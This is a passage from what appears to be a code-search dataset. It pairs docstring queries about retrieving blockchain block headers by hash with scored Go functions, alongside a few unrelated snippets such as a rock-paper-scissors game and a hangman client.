computerchoice == \"paper\":\n\t\treturn 1, \"User Wins: Scissors cut Paper\"\n\tcase computerchoice == \"scissors\" && userchoice == \"paper\":\n\t\treturn 2, \"Computer Wins: Scissors cut Paper\"\n\tcase userchoice == \"paper\" && computerchoice == \"rock\":\n\t\treturn 1, \"User Wins: Paper covers Rock\"\n\tcase computerchoice == \"paper\" && userchoice == \"rock\":\n\t\treturn 2, \"Computer Wins: Paper covers Rock\"\n\tcase userchoice == \"rock\" && computerchoice == \"lizard\":\n\t\treturn 1, \"User Wins: Rock crushes Lizard\"\n\tcase computerchoice == \"rock\" && userchoice == \"lizard\":\n\t\treturn 2, \"Computer Wins: Rock crushes Lizard\"\n\tcase userchoice == \"lizard\" && computerchoice == \"spock\":\n\t\treturn 1, \"User Wins: Lizard poisons Spock\"\n\tcase computerchoice == \"lizard\" && userchoice == \"spock\":\n\t\treturn 2, \"Computer Wins: Lizard poisons Spock\"\n\tcase userchoice == \"spock\" && computerchoice == \"scissors\":\n\t\treturn 1, \"User Wins: Spock smashes Scissors\"\n\tcase computerchoice == \"spock\" && userchoice == \"scissors\":\n\t\treturn 2, \"Computer Wins: Spock smashes Scissors\"\n\tcase userchoice == \"scissors\" && computerchoice == \"lizard\":\n\t\treturn 1, \"User Wins: Scissors decapitate Lizard\"\n\tcase computerchoice == \"scissors\" && userchoice == \"lizard\":\n\t\treturn 2, \"Computer Wins: Scissors decapitate Lizard\"\n\tcase userchoice == \"lizard\" && computerchoice == \"paper\":\n\t\treturn 1, \"User Wins: Lizard eats Paper\"\n\tcase computerchoice == \"lizard\" && userchoice == \"paper\":\n\t\treturn 2, \"Computer Wins: Lizard eats Paper\"\n\tcase userchoice == \"paper\" && computerchoice == \"spock\":\n\t\treturn 1, \"User Wins: Paper disproves Spock\"\n\tcase computerchoice == \"paper\" && userchoice == \"spock\":\n\t\treturn 2, \"Computer Wins: Paper disproves Spock\"\n\tcase userchoice == \"spock\" && computerchoice == \"rock\":\n\t\treturn 1, \"User Wins: Spock vaporizes Rock\"\n\tcase computerchoice == \"spock\" && userchoice == \"rock\":\n\t\treturn 2, \"Computer Wins: Spock vaporizes Rock\"\n\tcase userchoice == \"rock\" && computerchoice == \"scissors\":\n\t\treturn 1, \"User Wins: Rock crushes Scissors\"\n\tcase computerchoice == \"rock\" && userchoice == \"scissors\":\n\t\treturn 2, \"Computer Wins: Rock crushes Scissors\"\n\tdefault:\n\t\treturn 3, winner\n\t}\n}", "title": "" }, { "docid": "99ff51696b3497e7ff9a103245ddbf19", "score": "0.45187917", "text": "func main() {\n\t// The static files are on the gui directory.\n\tfs := http.FileServer(http.Dir(\"gui\"))\n\thttp.Handle(\"/\", fs)\n\n\tlog.Println(\"Listening...\")\n\thttp.ListenAndServe(\":8080\", nil)\n}", "title": "" }, { "docid": "9ea44bf75bc691d72702eb8f7c105d00", "score": "0.4518286", "text": "func main() {\n\tflagDAddress := flag.String(\"dhost\", \"127.0.0.1\", \"Hangmango server IPv4 address to connect to.\")\n\tflagDPort := flag.Int(\"dport\", 4444, \"Port that the target Hangmango server is listening on.\")\n\tflag.Parse()\n\n\tfmt.Println(`STARTUP - Welcome to hangmango! You will be presented with hints to guess a word selected by the server. \n\t You can enter guesses as individual english alphabet characters or an entire word. \n\t Incorrect guesses will deduct from your score per the following forumla: \n\t 10 * (number of letters in secret word) - 2 * (number of characters guessed) - (number of words guessed)`)\n\n\tconn, err := net.Dial(\"tcp\", fmt.Sprintf(\"%s:%d\", *flagDAddress, *flagDPort))\n\tif err != nil {\n\t\texitString := `ERROR - Unable to connect to specified hangmango server, likely that it's not \n\t\t running or a network device is preventing the connection. The raw error is below.`\n\t\tfmt.Printf(exitString+\"\\nERROR - %s\\n\", err)\n\t\tfmt.Println(\"CLIENT - Exiting hangmango client\")\n\t\tos.Exit(1)\n\t}\n\n\t// Initialise the client struct that represents this client\n\tclient := &client{socket: conn, data: make(chan []byte), guid: fmt.Sprintf(\"%d\", time.Now().Unix())}\n\n\tgo client.send()\n\tgo client.receive()\n\tinitPubKeyReq(client)\n\n\t// Wait for user input and send anything that matches simple client side validation to the server.\n\tfor {\n\t\t// Block until\n\t\treader := bufio.NewReader(os.Stdin)\n\t\tmessage, _ := reader.ReadString('\\n')\n\t\tmessage = strings.TrimRight(message, \"\\n\")\n\t\t// Validate message is within the regex set.\n\t\tmatch := regexpHangman.Match([]byte(message))\n\t\t// Validate message is in the regex set & hasn't completely filled the buffer from ReadString (4096 bytes)\n\t\tif !match && (len([]byte(message)) <= 4095) {\n\t\t\t// Use the message given what we've sent.\n\t\t\tvar guessForHashing string\n\t\t\tif len([]byte(message)) == 1 {\n\t\t\t\tguessForHashing = strings.Replace(client.guid, \"_\", message, -1)\n\t\t\t} else {\n\t\t\t\tguessForHashing = message\n\t\t\t}\n\t\t\t// Calculate the gamehash given the message provided.\n\t\t\tguessHash := client.generateGameHash([]byte(guessForHashing))\n\t\t\tvar messageJSON []byte\n\t\t\tif bytes.Equal(guessHash, client.gameHash) {\n\t\t\t\tmessageJSON = generateHangmanJSONMessage([]byte(message), guessHash)\n\t\t\t\tclient.gameHashMatched = true\n\t\t\t} else {\n\t\t\t\tmessageJSON = generateHangmanJSONMessage([]byte(message), nil)\n\t\t\t}\n\t\t\tencryptJSONAddToChannel(client, messageJSON)\n\t\t} else if match == true {\n\t\t\tfmt.Println(\"Input must be an upper or lowercase character in the english alphabet (a-z or A-Z).\")\n\t\t} else if len([]byte(message)) >= 4096 {\n\t\t\tfmt.Println(\"Length of input must be less than 4096 bytes.\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "a554d36a4fb04abfcad916188756ed6f", "score": "0.4517502", "text": "func index(w http.ResponseWriter, r *http.Request) {\n\t//Tell the Browser which Content he gets servered\n\tw.Header().Set(\"Content-Type\", \"text/html\")\n\n\t//Render the template\n\ttpl.ExecuteTemplate(w, \"index.html\", nil)\n}", "title": "" }, { "docid": "8a3ec907e52b8322cde51d3f6d49fa8d", "score": "0.4515357", "text": "func main() {\n\tif len(os.Args) != 2 {\n\t\tlog.Printf(\"expect to provide a message as argument~\\n\")\n\t\tos.Exit(1)\n\t}\n\tsrv := new(service.EchoServer)\n\tjDoc, err := srv.Serve(os.Args[1])\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tlog.Printf(\"cool~ the returned response from echo-server:\\n %v\\n\", jDoc)\n}", "title": "" } ]
091025b08cc43218a53abd48f1d42379
GetHeaderByHash retrieves a block header from the database by hash, caching it if found.
[ { "docid": "10ab331a7cda86c5e3b3a2b788d12b99", "score": "0.78119206", "text": "func (bc *BlockChain) GetHeaderByHash(hash common.Hash) *model.Header {\n\treturn bc.hc.GetHeaderByHash(hash)\n}", "title": "" } ]
[ { "docid": "a23aca7f48fc8c046c74115a695b22ed", "score": "0.823071", "text": "func (c *Client) GetHeaderByHash(hash string) (headerInfo *BlockInfo, err error) {\r\n\r\n\tvar resp string\r\n\t// https://api.whatsonchain.com/v1/bsv/<network>/block/<hash>/header\r\n\tif resp, err = c.request(fmt.Sprintf(\"%s%s/block/%s/header\", apiEndpoint, c.Network, hash), http.MethodGet, nil); err != nil {\r\n\t\treturn\r\n\t}\r\n\r\n\terr = json.Unmarshal([]byte(resp), &headerInfo)\r\n\treturn\r\n}", "title": "" }, { "docid": "cb17ab4643308da985ea0f058a218325", "score": "0.7992868", "text": "func (ecPtr *Client) HeaderByHash(CTX context.Context, hash bgmcommon.Hash) (*types.HeaderPtr, error) {\n\tvar head *types.Header\n\terr := ecPtr.cPtr.CallContext(CTX, &head, \"bgm_getBlockByHash\", hash, false)\n\tif err == nil && head == nil {\n\t\terr = bgmchain.NotFound\n\t}\n\treturn head, err\n}", "title": "" }, { "docid": "962b4df1b1fd1e88be76f51df0f427ae", "score": "0.7784824", "text": "func (c *Client) GetBlockHeaderByHash(ctx context.Context, params GetBlockHeaderByHashRequestParameters) (*GetBlockHeaderByHashResult, error) {\n\tif err := params.Validate(); err != nil {\n\t\treturn nil, fmt.Errorf(\"validate: %w\", err)\n\t}\n\n\tresp := &GetBlockHeaderByHashResult{}\n\tif err := c.JSONRPC(ctx, methodGetBlockHeaderByHash, params, resp); err != nil {\n\t\treturn nil, fmt.Errorf(\"jsonrpc: %w\", err)\n\t}\n\n\treturn resp, nil\n}", "title": "" }, { "docid": "c5fabbce0ec365b2385c57bc2e4156fd", "score": "0.7703195", "text": "func (e *EVMEmulator) HeaderByHash(hash common.Hash) (*types.Header, error) {\n\tif hash == e.pendingBlock.Hash() {\n\t\treturn e.pendingBlock.Header(), nil\n\t}\n\theader := e.blockchain.GetHeaderByHash(hash)\n\tif header == nil {\n\t\treturn nil, ErrBlockDoesNotExist\n\t}\n\treturn header, nil\n}", "title": "" }, { "docid": "8cad852bdf5294f6c4ac003e8fee21b2", "score": "0.76572067", "text": "func (c *Chain) GetHeaderByHash(hash *bc.Hash) (*types.BlockHeader, error) {\n\tnode := c.index.GetNode(hash)\n\tif node == nil {\n\t\treturn nil, errors.New(\"can't find block header in given hash\")\n\t}\n\treturn node.BlockHeader(), nil\n}", "title": "" }, { "docid": "a945be8b28f5cc75ffeddac3a731f192", "score": "0.7553154", "text": "func (c *client) GetBlockHeaderByHash(req *GetBlockHeaderByHashRequest) (resp *GetBlockHeaderByHashResponse, err error) {\n\terr = c.do(\"get_block_header_by_hash\", &req, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn\n}", "title": "" }, { "docid": "75d2b154339e9debe2d903861f7fba99", "score": "0.7519697", "text": "func (ec *Client) HeaderByHash(ctx context.Context, hash common.Hash) (*RpcHeader, error) {\n\tvar raw json.RawMessage\n\n\terr := ec.c.CallContext(ctx, &raw, \"eth_getBlockByHash\", hash, false)\n\tif err != nil {\n\t\treturn nil, err\n\n\t} else if len(raw) == 0 {\n\t\treturn nil, ethereum.NotFound\n\t}\n\n\t// fmt.Printf(\"raw prc rsp is %v \\n\", string(raw))\n\n\t// Decode header\n\tvar head *RpcHeader\n\tif err := json.Unmarshal(raw, &head); err != nil {\n\t\treturn nil, err\n\t}\n\n\t// fmt.Printf(\"block hash is %v \\n\", head.BlockHash.Hex())\n\n\treturn head, nil\n}", "title": "" }, { "docid": "fbd2b24e7fb5bd8586335c9d4ab0d439", "score": "0.7506558", "text": "func (c *SafeEthClient) HeaderByHash(ctx context.Context, hash common.Hash) (*types.Header, error) {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\tif c.Client == nil {\n\t\treturn nil, errNotConnectd\n\t}\n\treturn c.Client.HeaderByHash(ctx, hash)\n}", "title": "" }, { "docid": "de6f7505847e612a145fe12ed9d8bedc", "score": "0.74299", "text": "func (s *fakeChain) HeaderByHash(hash *chainhash.Hash) (wire.BlockHeader, error) {\n\tblock, ok := s.blocks[*hash]\n\tif !ok {\n\t\treturn wire.BlockHeader{}, fmt.Errorf(\"unable to find block %v in fake \"+\n\t\t\t\"chain\", hash)\n\t}\n\treturn block.MsgBlock().Header, nil\n}", "title": "" }, { "docid": "6a912ec24477b73cdb324442b2843bbd", "score": "0.7263546", "text": "func (rc *RpcClient) HeaderByHash(hash common.Hash) (*miniheader.MiniHeader, error) {\n\tctx, cancel := context.WithTimeout(context.Background(), requestTimeout)\n\tdefer cancel()\n\theader, err := rc.ethRPCClient.HeaderByHash(ctx, hash)\n\tif err != nil {\n\t\t// Add blockHash to error so it gets logged\n\t\tif err.Error() == ethereum.NotFound.Error() {\n\t\t\terr = UnknownBlockHashError{\n\t\t\t\tBlockHash: hash,\n\t\t\t}\n\t\t}\n\t\treturn nil, err\n\t}\n\tminiHeader := &miniheader.MiniHeader{\n\t\tHash: header.Hash(),\n\t\tParent: header.ParentHash,\n\t\tNumber: header.Number,\n\t\tTimestamp: time.Unix(int64(header.Time), 0),\n\t}\n\treturn miniHeader, nil\n}", "title": "" }, { "docid": "6abfe4ee3f43d4c6bff7de9cede90e9a", "score": "0.72316015", "text": "func (blockchain *Blockchain) GetBlockByHash(blockHash []byte) (*pb.BlockHeader, error) {\n\tblockHeaderBytes, err := blockchain.dbHandler.Get(blockchain.blockColumnFamily, blockHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif len(blockHeaderBytes) == 0 {\n\t\treturn nil, errors.New(\"not found block. \")\n\t}\n\tblockHeader := new(pb.BlockHeader)\n\tif err := blockHeader.Deserialize(blockHeaderBytes); err != nil {\n\t\treturn nil, err\n\t}\n\treturn blockHeader, nil\n\n}", "title": "" }, { "docid": "d9da25e045698bd93256a868b372f722", "score": "0.68700916", "text": "func (orm *ORM) HeadByHash(ctx context.Context, hash common.Hash) (*models.Head, error) {\n\thead := &models.Head{}\n\terr := orm.db.WithContext(ctx).Where(\"evm_chain_id = ? AND hash = ?\", orm.chainID, hash).First(head).Error\n\tif err == gorm.ErrRecordNotFound {\n\t\treturn nil, nil\n\t}\n\treturn head, err\n}", "title": "" }, { "docid": "a4a7ab4f8240c0e6412059d6b8d588d2", "score": "0.6800939", "text": "func (bc *BlockChain) GetHeader(hash common.Hash, number uint64) *model.Header {\n\treturn bc.hc.GetHeader(hash, number)\n}", "title": "" }, { "docid": "524968aec59cf42dfed125a98dc784cd", "score": "0.67436934", "text": "func (a *Client) GetMicroBlockHeaderByHash(params *GetMicroBlockHeaderByHashParams, opts ...ClientOption) (*GetMicroBlockHeaderByHashOK, error) {\n\t// TODO: Validate the params before sending\n\tif params == nil {\n\t\tparams = NewGetMicroBlockHeaderByHashParams()\n\t}\n\top := &runtime.ClientOperation{\n\t\tID: \"GetMicroBlockHeaderByHash\",\n\t\tMethod: \"GET\",\n\t\tPathPattern: \"/micro-blocks/hash/{hash}/header\",\n\t\tProducesMediaTypes: []string{\"application/json\"},\n\t\tConsumesMediaTypes: []string{\"application/json\"},\n\t\tSchemes: []string{\"http\"},\n\t\tParams: params,\n\t\tReader: &GetMicroBlockHeaderByHashReader{formats: a.formats},\n\t\tContext: params.Context,\n\t\tClient: params.HTTPClient,\n\t}\n\tfor _, opt := range opts {\n\t\topt(op)\n\t}\n\n\tresult, err := a.transport.Submit(op)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tsuccess, ok := result.(*GetMicroBlockHeaderByHashOK)\n\tif ok {\n\t\treturn success, nil\n\t}\n\t// unexpected success response\n\t// safeguard: normally, absent a default response, unknown success responses return an error above: so this is a codegen issue\n\tmsg := fmt.Sprintf(\"unexpected success response for GetMicroBlockHeaderByHash: API contract not enforced by server. Client expected to get an error, but got: %T\", result)\n\tpanic(msg)\n}", "title": "" }, { "docid": "9d19465f9bfe500f7dae46e83f7c0473", "score": "0.6601481", "text": "func (chain *FakeChain) GetHeader(hash util.Uint256) (*block.Header, error) {\n\tb, err := chain.GetBlock(hash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &b.Header, nil\n}", "title": "" }, { "docid": "6a560ffebb3fef9eabae898cf0938a93", "score": "0.6581777", "text": "func (d *Downloader) fetchHeadersByHash(p *peerConnection, hash common.Hash, amount int, skip int, reverse bool) ([]*model.Header, []common.Hash, error) {\n\t// Create the response sink and send the network request\n\tstart := time.Now()\n\tresCh := make(chan *ent.Response)\n\n\treq, err := p.peer.RequestHeadersByHash(hash, amount, skip, reverse, resCh)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tdefer req.Close()\n\n\t// Wait until the response arrives, the request is cancelled or times out\n\tttl := d.peers.rates.TargetTimeout()\n\n\ttimeoutTimer := time.NewTimer(ttl)\n\tdefer timeoutTimer.Stop()\n\n\tselect {\n\tcase <-d.cancelCh:\n\t\treturn nil, nil, errCanceled\n\n\tcase <-timeoutTimer.C:\n\t\t// Header retrieval timed out, update the metrics\n\t\tlog.Debug(\"Header request timed out\", \"elapsed\", ttl)\n\t\theaderTimeoutMeter.Mark(1)\n\n\t\treturn nil, nil, errTimeout\n\n\tcase res := <-resCh:\n\t\t// Headers successfully retrieved, update the metrics\n\t\theaderReqTimer.Update(time.Since(start))\n\t\theaderInMeter.Mark(int64(len(*res.Res.(*ent.BlockHeadersPacket))))\n\n\t\t// Don't reject the packet even if it turns out to be bad, downloader will\n\t\t// disconnect the peer on its own terms. Simply delivery the headers to\n\t\t// be processed by the caller\n\t\tres.Done <- nil\n\n\t\treturn *res.Res.(*ent.BlockHeadersPacket), res.Meta.([]common.Hash), nil\n\t}\n}", "title": "" }, { "docid": "7f387a70dd20741339c08020c47cdd78", "score": "0.65465796", "text": "func (s *ChainService) GetBlockByHash(blockHash chainhash.Hash) (\n\twire.BlockHeader, uint32, error) {\n\tvar header wire.BlockHeader\n\tvar height uint32\n\terr := s.dbView(getBlockByHash(blockHash, &header, &height))\n\treturn header, height, err\n}", "title": "" }, { "docid": "f08791baabcbe8d940ac9a661e7dd2c1", "score": "0.6524463", "text": "func (s *ChainService) getHeader(blockHash chainhash.Hash,\n\tbucketName []byte) (*chainhash.Hash, error) {\n\tvar filterTip chainhash.Hash\n\terr := s.dbView(getHeader(blockHash, bucketName, &filterTip))\n\treturn &filterTip, err\n}", "title": "" }, { "docid": "2fb37361dd49de73693a4449066ea311", "score": "0.64912313", "text": "func (cc ChainContext) GetHeader(hash common.Hash, number uint64) *types.Header {\n\treturn &types.Header{\n\t\tCoinbase: cc.coinbase,\n\t\tDifficulty: big.NewInt(1),\n\t\tNumber: big.NewInt(1),\n\t\tGasLimit: 1000000,\n\t\tGasUsed: 0,\n\t\tTime: uint64(time.Now().Unix()),\n\t\tExtra: nil,\n\t}\n}", "title": "" }, { "docid": "8de03f818d987e8bdb4dd6f0cd852610", "score": "0.6330202", "text": "func (rc *remoteChain) GetHeaderByHeight(height *big.Int) (*btc.Header, error) {\n\tblockHash, err := rc.client.GetBlockHash(height.Int64())\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"could not get block hash for height [%d]: [%v]\",\n\t\t\theight.Int64(),\n\t\t\terr,\n\t\t)\n\t}\n\n\tblockHeader, err := rc.client.GetBlockHeader(blockHash)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"could not get block header for hash [%s]: [%v]\",\n\t\t\tblockHash.String(),\n\t\t\terr,\n\t\t)\n\t}\n\n\trawHeader, err := serializeHeader(blockHeader)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\n\t\t\t\"failed to serialize header for block with hash [%s]: [%v]\",\n\t\t\tblockHash.String(),\n\t\t\terr,\n\t\t)\n\t}\n\n\trelayHeader := &btc.Header{\n\t\tHash: blockHeader.BlockHash(),\n\t\tPrevHash: blockHeader.PrevBlock,\n\t\tMerkleRoot: blockHeader.MerkleRoot,\n\t\tRaw: rawHeader,\n\t\tHeight: height.Int64(),\n\t}\n\n\treturn relayHeader, nil\n}", "title": "" }, { "docid": "cb7be07b6e54a15bf09e60794ca1f5a3", "score": "0.63293195", "text": "func (h *headersv) BlockHeader(ctx context.Context, blockHash string) (*bc.BlockHeader, error) {\r\n\treq, err := http.NewRequestWithContext(\r\n\t\tctx,\r\n\t\thttp.MethodGet,\r\n\t\tfmt.Sprintf(\"%s/api/v1/chain/header/%s\", h.host, blockHash),\r\n\t\tnil,\r\n\t)\r\n\tif err != nil {\r\n\t\treturn nil, errors.Wrapf(err, \"error creating request for chain/header/%s\", blockHash)\r\n\t}\r\n\r\n\tresp, err := h.client.Do(req)\r\n\tif err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\tdefer func() {\r\n\t\t_ = resp.Body.Close()\r\n\t}()\r\n\tif resp.StatusCode != http.StatusOK {\r\n\t\tbody, err := ioutil.ReadAll(resp.Body)\r\n\t\tif err != nil {\r\n\t\t\treturn nil, errors.Wrap(err, \"failed to parse error message body\")\r\n\t\t}\r\n\r\n\t\treturn nil, fmt.Errorf(\"block header request: unexpected status code %d\\nresponse body:\\n%s\", resp.StatusCode, body)\r\n\t}\r\n\r\n\tvar bh *bc.BlockHeader\r\n\tif err = json.NewDecoder(resp.Body).Decode(&bh); err != nil {\r\n\t\treturn nil, err\r\n\t}\r\n\r\n\treturn bh, nil\r\n}", "title": "" }, { "docid": "491ba437ece27ce6012d49a40aedff14", "score": "0.6303636", "text": "func (c *Chain) GetHeaderByHeight(height uint64) (*types.BlockHeader, error) {\n\tnode := c.index.NodeByHeight(height)\n\tif node == nil {\n\t\treturn nil, errors.New(\"can't find block header in given height\")\n\t}\n\treturn node.BlockHeader(), nil\n}", "title": "" }, { "docid": "485aafb6fe93c7062da5a5929d9b007a", "score": "0.62916577", "text": "func (chain *FakeChain) GetHeaderHash(n int) util.Uint256 {\n\tif n < 0 || n > math.MaxUint32 {\n\t\treturn util.Uint256{}\n\t}\n\treturn chain.hdrHashes[uint32(n)]\n}", "title": "" }, { "docid": "337330478e37b97dc4d1f1efc078dee1", "score": "0.6284284", "text": "func GetBlockByHash(hash string) (string, error) {\n\tbeOpts := blockExplorerOpts{Opts: api.Opts{}}\n\topts := hash + \"?\" + client.EncodeOpts(beOpts)\n\tres, err := client.Get(\"rawBlock\", opts)\n\treturn res, err\n}", "title": "" }, { "docid": "9558c51111fb2491ec4c82eb1d58fce2", "score": "0.6271483", "text": "func HeadHeaderHash(db kv.Getter) ([]byte, error) {\n\tdata, err := db.GetOne(kv.HeadHeaderKey, []byte(kv.HeadHeaderKey))\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"ReadHeadHeaderHash failed: %w\", err)\n\t}\n\treturn data, nil\n}", "title": "" }, { "docid": "a2c77dfc0265a6c0dd79dc595c59556b", "score": "0.6171424", "text": "func (g *Grid) GetMetaByHash(hash string) MetaData {\n\tmeta := g.dao.ReadByHash(hash)[0]\n\tfi, _ := os.Stat(meta.URL)\n\treturn MetaData{Meta: &meta, Size: fi.Size()}\n}", "title": "" }, { "docid": "eb1850d2eda93254bbdb690e66cba9a4", "score": "0.6152812", "text": "func (_Election *ElectionCaller) HashHeader(opts *bind.CallOpts, header []byte) ([32]byte, error) {\n\tvar (\n\t\tret0 = new([32]byte)\n\t)\n\tout := ret0\n\terr := _Election.contract.Call(opts, out, \"hashHeader\", header)\n\treturn *ret0, err\n}", "title": "" }, { "docid": "cec2e83bf7fae5dec5ddfa3e84eff740", "score": "0.60674155", "text": "func (s *Server) getBlockHeader(reqParams request.Params) (interface{}, *response.Error) {\n\tparam := reqParams.Value(0)\n\thash, respErr := s.blockHashFromParam(param)\n\tif respErr != nil {\n\t\treturn nil, respErr\n\t}\n\n\tverbose, _ := reqParams.Value(1).GetBoolean()\n\th, err := s.chain.GetHeader(hash)\n\tif err != nil {\n\t\treturn nil, response.NewRPCError(\"unknown block\", \"\", nil)\n\t}\n\n\tif verbose {\n\t\treturn result.NewHeader(h, s.chain), nil\n\t}\n\n\tbuf := io.NewBufBinWriter()\n\th.EncodeBinary(buf.BinWriter)\n\tif buf.Err != nil {\n\t\treturn nil, response.NewInternalServerError(\"encoding error\", buf.Err)\n\t}\n\treturn buf.Bytes(), nil\n}", "title": "" }, { "docid": "2263f012e395055ed15427f7582f9652", "score": "0.6061206", "text": "func (c *Client) GetBlockByHash(ctx context.Context, bhash string, includetx bool) ([]byte, error) {\n\treturn c.apiHandler.GetBlockByHash(ctx, c.groupID, bhash, includetx)\n}", "title": "" }, { "docid": "b3627fb1b08bbb28a80873a36271ca33", "score": "0.6049169", "text": "func (c *client) GetBlockHeaderByHeight(req *GetBlockHeaderByHeightRequest) (resp *GetBlockHeaderByHeightResponse, err error) {\n\terr = c.do(\"get_block_header_by_height\", &req, &resp)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn\n}", "title": "" }, { "docid": "1d716eae3520652661bc93415577e845", "score": "0.5996502", "text": "func (imdb *InMemoryDB) GetBlockForHash(h chainhash.Hash) (*primitives.Block, error) {\n\timdb.lock.Lock()\n\tdefer imdb.lock.Unlock()\n\tout, found := imdb.DB[h]\n\tif !found {\n\t\treturn nil, fmt.Errorf(\"could not find block with hash\")\n\t}\n\treturn &out, nil\n}", "title": "" }, { "docid": "1bebba84df35440958ca1ca07d3c6d6b", "score": "0.5966518", "text": "func (_Random *RandomCaller) HashHeader(opts *bind.CallOpts, header []byte) ([32]byte, error) {\n\tvar (\n\t\tret0 = new([32]byte)\n\t)\n\tout := ret0\n\terr := _Random.contract.Call(opts, out, \"hashHeader\", header)\n\treturn *ret0, err\n}", "title": "" }, { "docid": "fa5f957781cfc1df12aca2346bc5ef18", "score": "0.59659654", "text": "func (c *Client) GetBlockByHash(hash string) (protocol.WrapBlock, *bc.TransactionStatus, error) {\n\treturn c.getRawBlock(&getRawBlockReq{BlockHash: hash})\n}", "title": "" }, { "docid": "690bfd2925345f00392a425881d91eeb", "score": "0.5958502", "text": "func (b *Block) Hash() common.Hash {\n\tif hash := b.hash.Load(); hash != nil {\n\t\treturn hash.(common.Hash)\n\t}\n\tv := b.header.Hash()\n\tb.hash.Store(v)\n\treturn v\n}", "title": "" }, { "docid": "a7332519e905965cf37680718bfc8c38", "score": "0.59355557", "text": "func (a *AElfClient) GetBlockByHash(blockHash string, includeTransactions bool) (*dto.BlockDto, error) {\n\t_, err := hex.DecodeString(blockHash)\n\tif err != nil {\n\t\treturn nil, errors.New(\"transactionID hex to []byte error:\" + err.Error())\n\t}\n\tparams := map[string]interface{}{\n\t\t\"blockHash\": blockHash,\n\t\t\"includeTransactions\": includeTransactions,\n\t}\n\turl := a.Host + BLOCKBYHASH\n\tblockBytes, err := util.GetRequest(\"GET\", url, a.Version, params)\n\tif err != nil {\n\t\treturn nil, errors.New(\"Get Block ByHash error:\" + err.Error())\n\t}\n\tvar block = new(dto.BlockDto)\n\tjson.Unmarshal(blockBytes, &block)\n\treturn block, nil\n}", "title": "" }, { "docid": "e75670df6c6000441ef054c206129a75", "score": "0.59277546", "text": "func (_Election *ElectionCallerSession) HashHeader(header []byte) ([32]byte, error) {\n\treturn _Election.Contract.HashHeader(&_Election.CallOpts, header)\n}", "title": "" }, { "docid": "ea767604ca5d3f140c9a52b9d2f843f6", "score": "0.5896634", "text": "func ExtractHeader(block []byte, checkHeight uint64) (*Header, blockdigest.Digest, []byte, error) {\n\tif len(block) < totalBlockSize {\n\t\treturn nil, blockdigest.Digest{}, nil, fault.ErrInvalidBlockHeaderSize\n\t}\n\tpackedHeader := PackedHeader{}\n\tcopy(packedHeader[:], block[:totalBlockSize])\n\n\theader, err := packedHeader.Unpack()\n\tif nil != err {\n\t\treturn nil, blockdigest.Digest{}, nil, err\n\t}\n\n\tif checkHeight > 0 && header.Number != checkHeight {\n\t\treturn nil, blockdigest.Digest{}, nil, fault.ErrHeightOutOfSequence\n\t}\n\n\tvar digest blockdigest.Digest\n\tif storage.Pool.BlockHeaderHash != nil {\n\t\tthisBlockNumberKey := make([]byte, 8)\n\t\tbinary.BigEndian.PutUint64(thisBlockNumberKey, header.Number)\n\t\tdigestBytes := storage.Pool.BlockHeaderHash.Get(thisBlockNumberKey)\n\t\tif err := blockdigest.DigestFromBytes(&digest, digestBytes); err != nil {\n\t\t\tdigest = blockdigest.NewDigest(packedHeader[:])\n\t\t}\n\t} else {\n\t\tdigest = blockdigest.NewDigest(packedHeader[:])\n\t}\n\n\tblockDifficulty := header.Difficulty.BigInt()\n\tcurrentDifficulty := difficulty.Current.BigInt()\n\n\tn := big.NewInt(10) // range ± N%\n\tl := big.NewInt(0)\n\th := big.NewInt(0)\n\th.Quo(currentDifficulty, n)\n\tl.Sub(currentDifficulty, h) // current - N%\n\th.Add(currentDifficulty, h) // current + N%\n\n\tif blockDifficulty.Cmp(l) < 0 || blockDifficulty.Cmp(h) > 0 || digest.Cmp(blockDifficulty) > 0 {\n\t\treturn nil, blockdigest.Digest{}, nil, fault.ErrInvalidBlockHeaderDifficulty\n\t}\n\n\treturn header, digest, block[totalBlockSize:], nil\n\n}", "title": "" }, { "docid": "c3e03ebacd2022740ed718e3c3ced704", "score": "0.5886039", "text": "func (_Random *RandomCallerSession) HashHeader(header []byte) ([32]byte, error) {\n\treturn _Random.Contract.HashHeader(&_Random.CallOpts, header)\n}", "title": "" }, { "docid": "67ebba2cf0ca7d1a4c10c7f46138de33", "score": "0.58713204", "text": "func (s *ChainService) GetBlockByHeight(height uint32) (wire.BlockHeader,\n\terror) {\n\tvar header wire.BlockHeader\n\terr := s.dbView(getBlockByHeight(height, &header))\n\treturn header, err\n}", "title": "" }, { "docid": "ec5212aa099edf4e030e4bed4d7e7cc4", "score": "0.5860884", "text": "func (c *Client) GetBlockByHash(hash string) (blockInfo *BlockInfo, err error) {\r\n\r\n\tvar resp string\r\n\t// https://api.whatsonchain.com/v1/bsv/<network>/block/hash/<hash>\r\n\tif resp, err = c.request(fmt.Sprintf(\"%s%s/block/hash/%s\", apiEndpoint, c.Network, hash), http.MethodGet, nil); err != nil {\r\n\t\treturn\r\n\t}\r\n\r\n\terr = json.Unmarshal([]byte(resp), &blockInfo)\r\n\treturn\r\n}", "title": "" }, { "docid": "facaac89eb69d28dcd5161d10fc72509", "score": "0.58527946", "text": "func (c *JRClient) GetTransactionByHash(block *model.Block, hash string) (*model.Transaction, error) {\n\tlog.Printf(\n\t\t\"searching in a block with a number %s for a transaction with hash %s\\n\",\n\t\tblock.Number,\n\t\thash,\n\t)\n\tfor _, t := range block.Transactions {\n\t\tif t.Hash == hash {\n\t\t\tlog.Printf(\n\t\t\t\t\"the transaction with the hash %s found in the block %s\",\n\t\t\t\thash,\n\t\t\t\tblock.Number,\n\t\t\t)\n\t\t\treturn t, nil\n\t\t}\n\t}\n\tlog.Printf(\n\t\t\"the transaction with the hash %s not found in the block %s\",\n\t\thash,\n\t\tblock.Number,\n\t)\n\treturn nil, &model.NotFoundHashTransactionError{BlockHash: block.Hash, Hash: hash}\n}", "title": "" }, { "docid": "a4506f2d79ba55baff6e9449eb034ee3", 